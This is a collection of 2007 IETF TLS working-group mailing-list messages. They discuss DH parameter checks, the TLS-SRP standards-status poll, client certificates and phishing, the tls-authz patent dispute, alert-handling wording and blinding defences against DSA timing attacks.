> >Perhaps the advice about this check could be combined with other advice: e.g.
> >the TLS implementation should (or even must) check that DH group parameters
> >are "good enough" (and reject attempts to use e.g. 256-bit groups, unless
> >this is really allowed by the local policy).
> 
> A problem with this is that it's almost impossible to get any consensus as to
> what should and shouldn't be checked.  I played with this a few years ago and
> showed it to a few crypto people and everyone had a different, generally
> incompatible, checklist of things that needed to be checked.  In the end you
> either end up with a huge shopping-list of often questionably-useful checks
> (all of my checks are useful, everyone else's are superfluous and a waste of
> implementation effort), or a more concise list that represents only one
> person's idea of what's worth checking (all of my checks are useful, I'll
> ignore everyone else's suggestions because they're superfluous and a waste of
> implementation effort).
> 
> Overall I think (based on an attempt at doing it) that this is such an
> incredible can of worms that you really, really don't want to open it.  If
> anyone really wants to build a checklist, put up a web page or create a wiki
> and see how the market reacts first.

I think this is probably about right. 

I would argue that 95% of these checks are generic to most COMSEC
protocols. If someone were to draft generic guidance I'd be happy
for TLS to reference it informationally :) I just don't think it
makes a lot of sense in the TLS standard

-Ekr

  

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From tls-bounces@lists.ietf.org Tue Jun 05 11:41:35 2007
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This is a cryptographically signed message in MIME format.

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My previous mail was incomplete. I wanted to copy the letter
I had sent to IANA and their response.

from: iana-prot-param@icann.org
date: 10 august 2006

Dear Peter,

This message is just to let you know that your request
is still in process.  You should be hearing from us soon.

On behalf of the IANA,


Jonathan Stewart
Internet Assigned Numbers Authority (IANA)



On Mon Jun 26 01:37:04 2006, Peter.Sylvester@edelweb.fr wrote:

> > > Hello,
> > > it seems that you have allocated the TLS extension number 6 to ume.
> > The number 6  had been in the srp-tls draft since years.
> > > The srp-tls draft also contains three alert number for which
> > there is a temporary assignment.
> > > It seems quite unfortunate to me that you have the number to
> > some other extension although you must have been aware
> > of the usage in tls-srp.
> > > I wonder what can be done to avoid such clashes in the future
> > and to remedy the situation with srp-tls.
> > > Peter Sylvester
> > >   






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From tls-bounces@lists.ietf.org Tue Jun 05 11:53:04 2007
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From: Martin Rex <Martin.Rex@sap.com>
Message-Id: <200706051550.l55FodJc027397@fs4113.wdf.sap.corp>
Subject: Re: [TLS] Straw poll on TLS SRP status
To: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 5 Jun 2007 17:50:39 +0200 (MEST)
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Peter Gutmann wrote:
> 
> >We are happily using SSL with client certs for 30k+ users with a number of
> >different servers and we've been using it productively for 6 years now
> >(started using it 1999).
> 
> The reason I made the comment about TLS client auth being an abject failure is
> that every time anyone mentions the possibility of providing any other way of
> authenticating clients and servers, it's practically guaranteed that someone
> will pop out of the woodwork and state that we already have the perfect
> solution to authentication in the form of client certs (see e.g. the comments
> made during the TLS-PSK last call), and here's a special-case stovepipe
> deployment with a captive audience as incontrovertible proof that client certs
> are perfectly workable in the real world.  In the meantime we have a multi-
> billion doller phishing industry as proof that if certificate-based
> authentication is working then it's a very peculiar interpretation of the term
> "working".

RSA-based smartcards have been around for quite some time, they're working,
and they have a decent security level.

However there still are lots of banking cards and credit cards issued
that use fairly weak technology, often only a simply magnetic stripe.

Credit cards are designed to be used in "card-not-present" scenarios
(e.g. over the phone), but even in all of the card-present scenarios,
the same "authentication technology" which is vulnerable to social
engineering attacks is used.

Why?  The customer has basically no say in it.  It is a decision done
by the banks, and as long as either the damage is on a manageable low
level or can be blamed on the customer, they don't really care for
security -- they care much more about costs.

One of the few areas where the issuers have an interest in the security
of the technology seems to be cable and satellite TV.  

I don't think the problem is with the technology (SSL client cert),
but with the service providers.  They prefer to use passwords, because
that is what everybody is used to and it has a fairly low cost to
set up and operate.

However, passwords have the fundamental flaw that they're always vulnerable
to social engineering attacks, and phishing is basically a form of
social engineering attack.  As long as passwords are used, phishing
of some kind will remain possible.


I never saw TLS-PSK as an interactive authentication scheme for use
within a Web Browser.  IMHO that would be a pretty bad idea.
TLS-PSK should be used only in scenarios that are NOT vulnerable
to social engineering, something that is part of an initial
configuration (like WPA/WPA2-keys for WLAN).

Today, a Web-Browser (or any other component that interprets arbitrary
content from arbitrary sources, or worse, execution or arbitrary code
from arbitrary sources, aka "active content") is the largest security
problem on every (inter)net connected computer and I have strong doubts
that one can make it safe against social engineering attacks.


One additional problem is "password sharing" accross accounts.
Even if you can educate your users to check a dozen of attributes
before entering their password into the secure prompt for 9 of
their secure services, I doubt you will be able to prevent them from
reusing a password on those services that remain traditional
and vulnerable to phishing.

-Martin

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Martin Rex wrote:
> I don't think the problem is with the technology (SSL client cert),
> but with the service providers.  They prefer to use passwords, because
> that is what everybody is used to and it has a fairly low cost to
> set up and operate.
>
> However, passwords have the fundamental flaw that they're always vulnerable
> to social engineering attacks, and phishing is basically a form of
> social engineering attack.  As long as passwords are used, phishing
> of some kind will remain possible.
>
>
> I never saw TLS-PSK as an interactive authentication scheme for use
> within a Web Browser.  IMHO that would be a pretty bad idea.
> TLS-PSK should be used only in scenarios that are NOT vulnerable
> to social engineering, something that is part of an initial
> configuration (like WPA/WPA2-keys for WLAN).
>
> Today, a Web-Browser (or any other component that interprets arbitrary
> content from arbitrary sources, or worse, execution or arbitrary code
> from arbitrary sources, aka "active content") is the largest security
> problem on every (inter)net connected computer and I have strong doubts
> that one can make it safe against social engineering attacks.
>
>
> One additional problem is "password sharing" accross accounts.
> Even if you can educate your users to check a dozen of attributes
> before entering their password into the secure prompt for 9 of
> their secure services, I doubt you will be able to prevent them from
> reusing a password on those services that remain traditional
> and vulnerable to phishing.
>
> -Martin
I believe that we all realize that passwords continue to be used because
they are
the lowest-common-denominator solution that can work.   I have always
considered
the use of passwords by SRP to be one of its strengths because it allows
systems to
transition to a secure form of mutual authentication without significant
retraining of
the user base.  Will the existence of TLS-SRP suddenly stop phishing? 
Absolutely not.
TLS-SRP is simply one more tool in the arsenal.

Sam Hartman's I-D, draft-hartman-webauth-phishing, covers all of the
bases.  Phishing
is a social engineering attack and until we can address the enrollment /
re-enrollment
challenges for on-line systems there are always going to be avenues. 
However, we
can make it more incrementally more difficult for the attacks to be
carried out.

Password sharing is a risk that can be mitigated against by password
expiration policies.
However, increasing the number of passwords that must be remembered
comes at
the cost of the increased risk that users will forget them and become
vulnerable to
an attack during re-enrollment.

Jeffrey Altman
Secure Endpoints Inc.



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From tls-bounces@lists.ietf.org Tue Jun 05 19:26:25 2007
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From: Dean Anderson <dean@av8.com>
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To: Mark Brown <mark@redphonesecurity.com>
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On Mon, 4 Jun 2007, Mark Brown wrote:


> all methods documented prior to the RedPhone Security patent filing, and
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> those discussed early in our consensus-building process
> (http://tinyurl.com/2pvwgo ) -- are all available royalty-free under the
> GUL.  

Those would be the __prior_art__. Of course they are free. They are
available royalty free __without__ the GUL, and without a tls-authz
patent license.  Did you make some mistake? To me, your statement here
is FUD, since there is no need to obtain a GUL to use prior-art.



> To put your comment in perspective, SSL was born as a patent (See USPTO
> 5,657,390, filed August 1995, issued August 1997 http://tinyurl.com/2cnuwv),

Yes, indeed, there are a slew of software patents. These resulted in
Richard Stallman founding the LPF, and ultimately, in RFC3979.  We made
the IETF policy to put an end to the practice of submarine-patented
standards. You seem to have found a unique way around that.

> What I think this history amounts to is that OpenSSL and its users can
> stomach a handful of "off-limits" algorithms.  It's like a tradition
> for OpenSSL.. ;-)

A tradition many people want to end.  But I think we can stomach much
_less_ when we are deceived about the existance of patents by the very
IETF officials in whom we place our trust in their integrity and
honesty.

> There are now implementations of tls-authz in GNUTLS, on OpenSSL and NSS.

I don't want to seem to speak for either GNUTLS, or OpenSSL, but it
seems to me like they are against this standard, and that all
implemented it without knowing of the patent application; so I wonder if
there might be fewer implemenations of tls-authz shortly.

> Free software carrying tls-authz is growing up around us whether we like it
> or not.  Because it's free (libre) no one asked me and apparently they
> didn't ask OpenSSL developers either.  

Huh?????  Perhaps they didn't ask because they didn't know about the
patent because it was improperly concealed by an IETF official who
really should be fired for his bad faith.

But, I think it is not too late to stop tls-authz, if that's your point.

> Personally, I think that's great -- I think sending SAML over TLS
> should be free (libre), and that's why I started down the standards
> track in the first place.  No FUD: The GUL is just saying that
> tls-authz should not be used to facilitate violations of a patent
> pending access control method that I am confident is new.

Are you telling us that the PAS functions are subject to a patent
application?

> Isn't a satisfactory resolution of "the patent issue" one where all people
> get to use tls-authz royalty free for any purpose and using any non-patented
> method?  

Yes, that would be satisfactory. To do that, you have to grant a royalty
free license to the public, and drop the nonsense about an "offer of a
free GUL on request".  And drop the restrictions on PAS functions from
the GUL, too. I note that you've seen the Netscape license, and I don't
know why anyone would agree to less.

> With the exception of one method that I expect will become patented,
> that's what's offered for tls-authz under the GUL.

Umm.  Actually, No, that isn't what's offered by your cereal-box offer
to give a free GUL on request.  You haven't offered any license to the
public, and RPS can't be compelled to complete the GUL in the future by
your "offer".

		--Dean


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From tls-bounces@lists.ietf.org Tue Jun 05 22:26:53 2007
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Dean Anderson wrote:
> On Mon, 4 Jun 2007, Mark Brown wrote:

>> There are now implementations of tls-authz in GNUTLS, on OpenSSL and NSS.

I interpreted that statement to mean that others (besides the authors and
principal developers of OpenSSL and NSS) have developed tls-authz as their
own extensions to those open sources.  I did NOT interpret it to mean
that the base distributions of OpenSSL and NSS now implement tls-authz.

Mr. Brown: Did you intend to state that tls-authz is now available in NSS?

> I don't want to seem to speak for either GNUTLS, or OpenSSL, but it
> seems to me like they are against this standard, and that all
> implemented it without knowing of the patent application; 

There is no tls-authz in NSS, at least not in the official NSS source
repository operated by mozilla.org.  I would know if there was.
http://www.mozilla.org/owners.html#security

> so I wonder if there might be fewer implemenations of tls-authz shortly.

/Nelson

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From tls-bounces@lists.ietf.org Wed Jun 06 12:08:48 2007
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From: "Mark Brown" <mark@redphonesecurity.com>
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Dean,

It sounds like you're expecting that the RedPhone Security patent will issue
as filed but that it really doesn't contain any innovation -- i.e. that the
patent grantors of the world will screw this one up.  I'm less cynical on
this question, and so on that point I have to disagree with you.

I don't see eye to eye with your cynicism about patents and/or their
grantors; instead, I'm passionate about authorizations technology.  I think
federated authorization & identity techniques are fascinating and are likely
to be very useful in the future of Internet communications.  I love my job.
It energizes me because I fully intend to bring useful products to market --
even though that's difficult to do as a small company.  I may fail, but I'll
try.  My country -- at least historically -- thought that patents were a way
to encourage this sort of passion because historically it's been the cradle
of innovation.  That's the spirit behind what I'm doing, and I hope we can
find a way to respectfully disagree about the systems supporting patents and
the RedPhone Security filing in particular.

> > Isn't a satisfactory resolution of "the patent issue" one where all
> people
> > get to use tls-authz royalty free for any purpose and using any non-
> patented
> > method?
> 
> Yes, that would be satisfactory. To do that, you have to grant a royalty
> free license to the public, and drop the nonsense about an "offer of a
> free GUL on request".  

It's taken me a while to understand your criticism on this point, but I
think I get it now.  I have prepared a corrected license which will be ready
and published shortly (or ASAP at the latest).


> ..And drop the restrictions on PAS functions from
> the GUL, too. I note that you've seen the Netscape license, and I don't
> know why anyone would agree to less.

I've modeled after the Certicom ECC license instead of the Netscape license,
which admittedly gives away less than Netscape did, but I think ECC has been
pretty well received all the same.  I feel a need to reserve one method of
verifying authorizations as described by the PAS functions.  Please don't
exaggerate what I'm reserving (the PAS Functions); it really is possible
that there are better ways to use tls-authz than the method I'm reserving. 
 
> > With the exception of one method that I expect will become patented,
> > that's what's offered for tls-authz under the GUL.
> 
> Umm.  Actually, No, that isn't what's offered by your cereal-box offer
> to give a free GUL on request.  You haven't offered any license to the
> public, and RPS can't be compelled to complete the GUL in the future by
> your "offer".

I hope the corrected license will address your concerns.  I think I
understand your concern that RedPhone Security, or its successors etc.,
won't grant requests for licenses.

--mark


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Subject: RE: [TLS] Issue 26: Implementation pitfalls
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From: <Pasi.Eronen@nokia.com>
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Eric Rescorla wrote:

> Pasi suggested an implementation pitfalls section. I'm=20
> lukewarm on this.
>=20
> Proposed resolution: add if someone else writes.=20

I'll promise to write something (maybe 1 page, definitely=20
less than 2 pages).

Best regards,
Pasi

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From tls-bounces@lists.ietf.org Thu Jun 07 08:33:24 2007
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Subject: RE: [TLS] Issue 16: Alert clarifications
Date: Thu, 7 Jun 2007 15:33:13 +0300
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From: <Pasi.Eronen@nokia.com>
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Eric Rescorla wrote:

> - Add a warning that some implementations tear down the connection
>   for any alert so warning alerts are dangerous. New implementations
>   SHOULD not tear down the connection for warning alerts.

Why not simply "MUST NOT tear down"? (this requirement would apply=20
only when TLS 1.2 is negotiated, so what some implementations did
with 1.0 or 1.1 doesn't matter)

Best regards,
Pasi

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Subject: RE: [TLS] Issue #12: RSA/DSA/DH timing attacks
Date: Thu, 7 Jun 2007 15:51:43 +0300
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Eric Rescorla wrote:
>=20
> TLS 1.2 already requires some sort of defense against timing
> analysis on RSA. It is known that timing analysis is possible
> against DSA but I know of no published defense against it
> other than fixed-length computations. (As opposed to the
> blinding defense for RSA).
>=20
> In San Diego, I asked Tim of NIST knew of one but haven't
> heard back.
>=20
> I'd like to put this to bed. I suggest that unless someone comes
> up with a defense suggestion by Chicago we simply say that this
> is an issue with DSA implementations and suggest fixed-length
> computations as a possible defense. Comments?

Well, if there's no publicly-known defense (like there is for RSA),=20
then I don't see what else we can do (other than require some
countermeasure, and suggest fixed-length computations)...

Best regards,
Pasi

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From: Eric Rescorla <ekr@networkresonance.com>
To: <Pasi.Eronen@nokia.com>
Subject: Re: [TLS] Issue 16: Alert clarifications
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At Thu, 7 Jun 2007 15:33:13 +0300,
<Pasi.Eronen@nokia.com> wrote:
> 
> Eric Rescorla wrote:
> 
> > - Add a warning that some implementations tear down the connection
> >   for any alert so warning alerts are dangerous. New implementations
> >   SHOULD not tear down the connection for warning alerts.
> 
> Why not simply "MUST NOT tear down"? (this requirement would apply 
> only when TLS 1.2 is negotiated, so what some implementations did
> with 1.0 or 1.1 doesn't matter)

Works for me.

-Ekr

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From: Eric Rescorla <ekr@networkresonance.com>
To: <Pasi.Eronen@nokia.com>
Subject: Re: [TLS] Straw poll on TLS SRP status
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At Thu, 24 May 2007 13:33:32 +0300,
<Pasi.Eronen@nokia.com> wrote:
> 
> Folks,
> 
> The one remaining issue with TLS SRP is its intended status (Proposed
> Standard, Informational, or Experimental). I and Eric think we need
> more data to determine consensus here, so this message starts a
> two-week straw poll on this issue. (Our apologies that this has 
> taken so long; this poll should have been some time ago already.)
> 
> The question is: Do you support advancing draft-ietf-tls-srp as 
> Proposed Standard? 
> 
>    [ ] Yes.
>    [ ] I think Informational/Experimental is better.

Informational/Experimental. 

-Ekr


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Eric Rescorla wrote:
> At Thu, 7 Jun 2007 15:33:13 +0300,
> <Pasi.Eronen@nokia.com> wrote:
>> Eric Rescorla wrote:
>>
>>> - Add a warning that some implementations tear down the connection
>>>   for any alert so warning alerts are dangerous. New implementations
>>>   SHOULD not tear down the connection for warning alerts.
>> Why not simply "MUST NOT tear down"? (this requirement would apply 
>> only when TLS 1.2 is negotiated, so what some implementations did
>> with 1.0 or 1.1 doesn't matter)
> 
> Works for me.

Umm. Some warning alerts exist to give the recipient a choice to tear
down or not.  E.g. no_renegotiation.  RFC 2246 says:

   no_renegotiation
       Sent by the client in response to a hello request or by the
       server in response to a client hello after initial handshaking.
       Either of these would normally lead to renegotiation; when that
       is not appropriate, the recipient should respond with this alert;
       at that point, the original requester can decide whether to
       proceed with the connection. One case where this would be
       appropriate would be where a server has spawned a process to
       satisfy a request; the process might receive security parameters
       (key length, authentication, etc.) at startup and it might be
       difficult to communicate changes to these parameters after that
       point. This message is always a warning.

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Eric,  In draft-rescorla-tls-suiteb-01.txt we read:

4.  Suite B Compliance Requirements

   To be considered "Suite B compatible" at least one of the Galois
   Counter Mode (GCM) CipherSuites defined in [I-D.ietf-tls-ecc-new-mac]
   MUST be negotiated.

I suggest that "at least" be removed.  AFAIK, exactly one CipherSuite
must be negotiated in any successful handshake.

/Nelson


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I wrote:
> Eric,  In draft-rescorla-tls-suiteb-01.txt we read:
> 
> 4.  Suite B Compliance Requirements
> 
>    To be considered "Suite B compatible" at least one of the Galois
>    Counter Mode (GCM) CipherSuites defined in [I-D.ietf-tls-ecc-new-mac]
>    MUST be negotiated.
> 
> I suggest that "at least" be removed.  AFAIK, exactly one CipherSuite
> must be negotiated in any successful handshake.

I accidentally sent that before I was finished.  I meant to add this:

Or, did you mean that the client must offer to negotiate at least one
GCM ciphersuite in the list of ciphersuites offered in the client hello?

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To: Nelson B Bolyard <nelson@bolyard.com>
Subject: Re: [TLS] Issue 16: Alert clarifications
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On Thu, Jun 07, 2007 at 08:33:11PM -0700, Nelson B Bolyard wrote:
> Eric Rescorla wrote:
>> <Pasi.Eronen@nokia.com> wrote:
>>> Eric Rescorla wrote:

>>>> - Add a warning that some implementations tear down the connection
>>>>   for any alert so warning alerts are dangerous. New implementations
>>>>   SHOULD not tear down the connection for warning alerts.

>>> Why not simply "MUST NOT tear down"? (this requirement would apply 
>>> only when TLS 1.2 is negotiated, so what some implementations did
>>> with 1.0 or 1.1 doesn't matter)

>> Works for me.

> Umm. Some warning alerts exist to give the recipient a choice to tear
> down or not.  E.g. no_renegotiation.  RFC 2246 says:
> 
>    no_renegotiation
>        Sent by the client in response to a hello request or by the
>        server in response to a client hello after initial handshaking.
>        Either of these would normally lead to renegotiation; when that
>        is not appropriate, the recipient should respond with this alert;
>        at that point, the original requester can decide whether to
>        proceed with the connection. One case where this would be
>        appropriate would be where a server has spawned a process to
>        satisfy a request; the process might receive security parameters
>        (key length, authentication, etc.) at startup and it might be
>        difficult to communicate changes to these parameters after that
>        point. This message is always a warning.

Good point.  This means that neither "SHOULD NOT" nor "MUST NOT" works
for everything.  However, I think a party should not silently tear
down the connection after receiving a no_renegotiation alert that it
does not like -- instead, it should send a fatal alert first.

How about the following?

   If an alert with a level of warning is sent and received, generally
   the connection can continue normally.  If the receiving party
   decides not to proceed with the connection (e.g., after having
   received a no_renegotiation alert that it is not willing to
   accept), it MUST send a fatal alert to terminate the connection.


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From: Bodo Moeller <bmoeller@acm.org>
To: Pasi.Eronen@nokia.com
Subject: Re: [TLS] Issue #12: RSA/DSA/DH timing attacks
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On Thu, Jun 07, 2007 at 03:51:43PM +0300, Pasi.Eronen@nokia.com wrote:
> Eric Rescorla wrote:

>> TLS 1.2 already requires some sort of defense against timing
>> analysis on RSA. It is known that timing analysis is possible
>> against DSA but I know of no published defense against it
>> other than fixed-length computations. (As opposed to the
>> blinding defense for RSA).

>> In San Diego, I asked Tim of NIST knew of one but haven't
>> heard back.

>> I'd like to put this to bed. I suggest that unless someone comes
>> up with a defense suggestion by Chicago we simply say that this
>> is an issue with DSA implementations and suggest fixed-length
>> computations as a possible defense. Comments?

> Well, if there's no publicly-known defense (like there is for RSA), 
> then I don't see what else we can do (other than require some
> countermeasure, and suggest fixed-length computations)...

Of course you could use blinding with DSA too (in many different
styles), but DSA isn't as vulnerable to timing attacks as RSA is, in
the first place: In RSA, you have a constant exponent that will be
used for many different inputs (allowing the adversary to observe the
same exponent in action in many different situations); in DSA, in
contrast, the exponentiation uses *ephemeral* exponents anyway, so
timing it doesn't quite as much useful information.

If you consider more fine-grained attacks (such as parallel spy
processes running on the same processor that obtain cache-access or
branch-prediction timings), then neither RSA with blinding nor
DSA is secure.  So even for RSA, you can't put down the one single
recommendation that will make it secure against timing attacks.

Having said that, here's how you could try to add blinding to DSA
exponentiations -- either base and exponent blinding or just exponent
blinding:

- Compute  g^k  as  g'^k'  where  g' = g^m  (m random) is a blinded
  base value, and where  k' = m'*k mod q.  (Just as with RSA, you
  could keep the blinding parameters for a number of cryptographic
  operations for better performance.)

- Compute  g^k  as  g^(k + m*q + m') * g^(q - m'),  where blinding
  parameters  m  and  m'  both can be quite short.

Bodo



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To: Pasi.Eronen@nokia.com
Subject: Re: [TLS] Issue #12: RSA/DSA/DH timing attacks
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On Fri, Jun 08, 2007 at 01:15:52PM +0200, Bodo Moeller wrote:

> Having said that, here's how you could try to add blinding to DSA
> exponentiations -- either base and exponent blinding or just exponent
> blinding:
> 
> - Compute  g^k  as  g'^k'  where  g' = g^m  (m random) is a blinded
>   base value, and where  k' = m'*k mod q.  (Just as with RSA, you
>   could keep the blinding parameters for a number of cryptographic
>   operations for better performance.)

Er,  k' = k/m' mod q,  of course.  (I.e., you need a mod-q inversion.)

> - Compute  g^k  as  g^(k + m*q + m') * g^(q - m'),  where blinding
>   parameters  m  and  m'  both can be quite short.


Bodo

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According to our count, 19 people sent some kind of comments=20
during the straw poll. Of those,

- 6 supported PS
- 5 supported Inf/Exp
- 1 felt this should not be published at all, or at most, Inf/Exp
- 1 said WG should be consistent, and Inf/Exp would be most=20
  consistent with past WG decisions.
- 1 preferred rules that put all "IPR-affected" drafts to Inf/Exp
  (but not totally clear whether this draft was counted here).
- 1 for "just get it out, don't care which status"
- 1 wanted more information about IPR before making decision
- 3 didn't express an opinion either way (as far as we can tell),
  but only commented some other discussions in this thread.

We believe this does not represent WG consensus for Proposed
Standard. Thus, the document will progress with intended
status of Informational.

Once the authors fix the one remaining semi-editorial issue=20
([SRP-6] should be informative reference instead of normative),=20
we'll send this to AD evaluation.

Best regards,
Pasi & Eric

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Also I have learned that not everyone on the TLS list knows the history
of the draft, particularly the misbehavior. I'm going to put up a web
page on http://www.av8.net/IETF-watch/People/Housley/ to document this.

Inline


On Wed, 6 Jun 2007, Mark Brown wrote:

> Dean,
> 
> It sounds like you're expecting that the RedPhone Security patent will issue
> as filed but that it really doesn't contain any innovation -- i.e. that the
> patent grantors of the world will screw this one up.  I'm less cynical on
> this question, and so on that point I have to disagree with you.

I'm not cynical about the PTO 'screwing it up' (see also the
clarification below). But as president of the LPF, it is true that I've
seen many patents issue that aren't novel, and many that are finally
found to be invalid after being litigated or on review after issue.  
The patent office, to its credit, reviews such bad patents when
complaints are made after issue. But the fact is, that there are very
few novel software inventions out there.  The reason, I think, that
there are more bad software patents than other kinds of patents is
because it is easier for software writers to invent their own terms
which foil patent searches--there have been some interesting proposals
(one was a new language) to solve that problem, but none that are fully
workable [other than, of course, eliminating software patents].

But I do see novel software patents, now and again.  Those few novel
inventions create the most concern for the LPF and others, because when
an invention is truly novel, it is often very difficult to come up with
another alternative that is competitive.  A good example is the Fourier
Transform and the Fast Fourier Transform (FFT).  Once you have a patent
on the FFT, its pretty hard to compete using the old transform method.  
A novel invention usually has a benefit that isn't found anywhere else;
the benefit might not be performance, but it is something that makes the
invention "better", and that something is also novel.  A good example of
a not-novel patent is the infamous XOR patent, where ATT patented the
use of XOR to update a graphical mouse pointer image. [the patent office
rescinded that patent on review]

By contrast, your authz-extns claims aren't really novel: You didn't
invent federated authorization and identity. You didn't invent using
X.509 information for authorization.  There is nothing novel about
moving around X.509 certificate information. We do that all the time
without TLS extensions.  X.500 and LDAP use certification information
for authorization.  Anyone trying to implement say, RADIUS over TLS,
would have to carry most/all of the same steps.  There is nothing novel
about using authorization with TLS. Almost all web apps do that to some
extent.  Every step in your patent specification is dictated by the TLS
protocol, or by the steps required for authorization as determined
previously in other applications.  So, you haven't invented anything;
what you have is really a copyright on a sequence of obvious steps;
steps that would be obvious to anyone trying to perform authorization
through a TLS protocol extension.  There is nothing clever or inventive
in what you've done.  There is no secret to reveal in the patent. What
you have is an 'obvious first use'.

What is an 'obvious first use'?

For example, the first person to send HTTP over 10GigE is not entitled
to a patent on sending HTTP over 10GigE, even though they are the first
person to do so.  The only novelty is being the first to do something
obvious. Similarly, the only "first" in your patent, is being the first
to send authorization information using a TLS extension.  The patent
office is supposed to recognize this sort of non-patentable 'obvious
first use', but often does not do so until the patent is later
challenged.  

So, my view isn't cynicism, but long experience with the patent office.  
The patent office is well aware of its limitations, and honestly works
very hard to improve its processes. And the PTO has improved a lot since
the LPF was first founded.  When we began our efforts, the PTO didn't
hire software people, and had no computer scientists on staff to judge
software patents. That's how the infamous XOR patent got issued (and was
ultimately revoked on review).  The PTO responded to criticism, and
began hiring computer scientists to review software patents. When the
LPF first began, the PTO didn't publish patent applications until after
the patent was granted.  The fact that your patent application is
public, is a result of the PTO trying to improve its process in response
to criticism by the LPF and others. Things are much better now, but a
lot still slips though first review. This too, is changing, but slowly.

Clarification on 'likely to issue'

You also mentioned something about my statement that patent was 'likely
to issue' indicating cynicism. This needs some clarification. My
statement is not cynical.  It is not the case that I expect the patent
office to "screw it up"---in fact, the PTO will try hard to fix what
their mistakes after issuing a bad patent. It is true that I don't think
your patent is worthy of issue, but that is not what I mean when I talk
about 'likely to issue'; nor is it that I am second guessing the patent
office; When I say 'likely to issue', I mean that as a matter of our own
preparation, the patent office has published a live patent application,
and we have to anticipate that this patent will happen;  This is the
purpose pre-issue publication--to give us advance warning.  We
anticipate this on all published applications.  I mean 'likely to issue'
in the same sense as a live grenade is anticipated to explode, and would
be 'likely to explode'.  It could be a "fake grenade", but we can't
assume that.  We have been given notice by the PTO of something that
will 'likely happen', and have to act accordingly to minimize our
exposure to the anticipated patent.  This is the purpose of publicizing
the application before issuance.

> I think federated authorization & identity techniques are fascinating
> and are likely to be very useful in the future of Internet
> communications.

Federated authorization and identity techniques have been important in
the past, and I'm sure they will be important in the future.

> I love my job. It energizes me because I fully intend to bring useful
> products to market -- even though that's difficult to do as a small
> company.

I love my job, too. And I run a small company, too.  And I play by the
rules and I work really hard, and I contribute to community projects
like the LPF. And like others who also work really hard and play fairly,
I take some offense at people who cheat and expect not to be penalized.

> I may fail, but I'll try.  My country -- at least historically --
> thought that patents were a way to encourage this sort of passion
> because historically it's been the cradle of innovation.

Your passion does not entitle you to a patent or a monopoly. Other
people also have a passion for federated authorization and identity, and
for TLS and SSL, and would like to engage their passions without being
monopolized.

> That's the spirit behind what I'm doing, and I hope we can find a way
> to respectfully disagree about the systems supporting patents and the
> RedPhone Security filing in particular.

That is not entirely the spirit of what you are doing. You (that is,
your company, associate, contractor) have cheated by not revealing your
patent application to the IETF when you submitted your draft 7 times,
each time stating there were no undisclosed patents. While the writing
author (Housley) may be more at fault personally than you are personally
at fault, you and your company still bear the burden of the failure,
just as your business partners bear the burden of your personal failures
as CEO.  There has to be a penalty for that misbehavior, otherwise it
would be unfair to those who worked hard, played by the rules and
disclosed their patents as required.

I have learned that not everyone on the TLS list knows the history of
the draft, particularly the misbehavior. I'm going to put up a web page
on http://www.av8.net/IETF-watch/People/Housley/ to document this.

> It's taken me a while to understand your criticism on this point, but I
> think I get it now.  I have prepared a corrected license which will be ready
> and published shortly (or ASAP at the latest).

I look forward to seeing this. I should note, though, that resolving the
patent issue won't resolve the cheating issue, and won't absolve Housley
of the bad faith issue.

		--Dean

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> 
> Dean,
> 
> That is not correct. This is (and was) an AD sponsored submission.
> The TLS WG was previously asked if it wished to take on this document
> and said no. The question of whether this document should go back to
> ground zero (i.e., as if that discussion had not taken place)
> is not really an appropriate one for this group and should be
> addressed to the IESG or the IETF mailing list. If you want to
> argue that TLS-WG SHOULD take up this kind of work, that is of
> course approriate, but it's not a procedural requirement here.

I didn't find any previous discussion of whether the WG should take on
this draft.  

Was there a "hum" on this?  

Did you decide this unilaterally?

	--Dean

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On Wed, 30 May 2007, Sam Hartman wrote:

> >>>>> "Dean" == Dean Anderson <dean@av8.com> writes:
> 
>     Dean> I believe the IETF announced that it would be sending this
>     Dean> draft back to the 'starting gate'.  To me, that means that
>     Dean> TLS has to do several things:
> 
> Dean, Eric has corrected your statements about where this draft is in
> the process.  

Yes. I have to say, I'm not too happy about that, and am feeling misled
yet again.  I expected more effort than just posting an email requesting
comment to the TLS working group. I understood the TLS working group was
going to do some work on the draft to find out if the patented standard
is actually worth the trouble, and __approve__ or __reject__ the draft
independently of the IESG.  What is actually happening is less even than
a rubber-stamp. (a rubber stamp is -some- approval)

It seems your rubber-stamp process does not permit enough time to come
up with an alternative, nor is there any working group to work on doing
so.  It seems the deck is stacked for no change.

>     Dean> 1) Consider non-patented alternatives in accordance with
>     Dean> RFC2418 and RFC3979.
> 
> Dean, this is an excellent idea. Anyone who wants to including you can
> discuss alternatives to the technology. The availability of other ways
> to do this--particularly when combined with information about whether
> people are willing to do the necessary work to write up and implement
> these alternatives--would be great input to the IESG. I'd appreciate
> anything you can do in this regard.

To what working group should I take this work to?  Not TLS, it hasn't
agreed (has affirmatively refused) to take on this work.

> As an example, if all the implementers say that they prefer this
> solution to alternatives they have considered, and would implement
> this solution but not those alternatives, that would be a strong
> argument in favor of publication.  If on the other hand people say
> that they would write up an alternative and that they would implement
> the alternative, that would argue against publication.

No working group will consider conducting this work.

> What you may be assuming is that we have an obligation to conduct such
> a review or that we need to block our work until such a review is
> done.  

I think that RFC3979 includes an obligation to conduct such a review
even if cursory. I rather agree that RFC3979 needs further refinement on
the effort required in general and timing of the effort required.  

But in the present cirumstances, I think the scandal imposes an
obligation to __thoroughly__ review the matter; that means some kind of
notable, significant work at review must be done.  We need more than a
whitewash.

> so if you want to propose an alternative, you should do so.  If you
> know others who want to propose an alternative you should encourage
> them.

Yes, I do. Where should I tell them to go?  This subject is off-topic
for TLS after the chair refuses to take up the subject.  You can't have
it both ways; unless you _want_ a whitewash.

You've officially asked for comments, but this group refuses to do any
work on the matter.  A convenient conundrum; A catch-22.  And when no
work gets done, you "don't have to wait around before re-approving".  
That is a charade; A sham; A debacle.

> That's why we are soliciting comments.  The ietf list discussion was
> in the minds of some inconclusive.

Actually, I think it was ended in the premise that the TLS working group
would work on the document, and there is nothing to discuss until that
is done.

> We're soliciting review here in hopes that the discussion will lead to
> a clear consensus.

And how is anyone outside the IESG to know there was a clear consensus?  
No working group has worked on the tainted document, to remove the taint
of the previous IESG scandal.

>     Dean> 3) Pass a working group last-call, per RFC2026 and RFC2418.
> 
> Not applicable because this is not a WG document.

I think it _should_be_ made a working group document, and that someone
besides the IESG should put some effort into reviewing the document,
before it submitted back to the IESG.

This process, as it is, seems to be a sham. If I knew that earlier, I
would have said that to the IETF list; but I believed that you (Sam
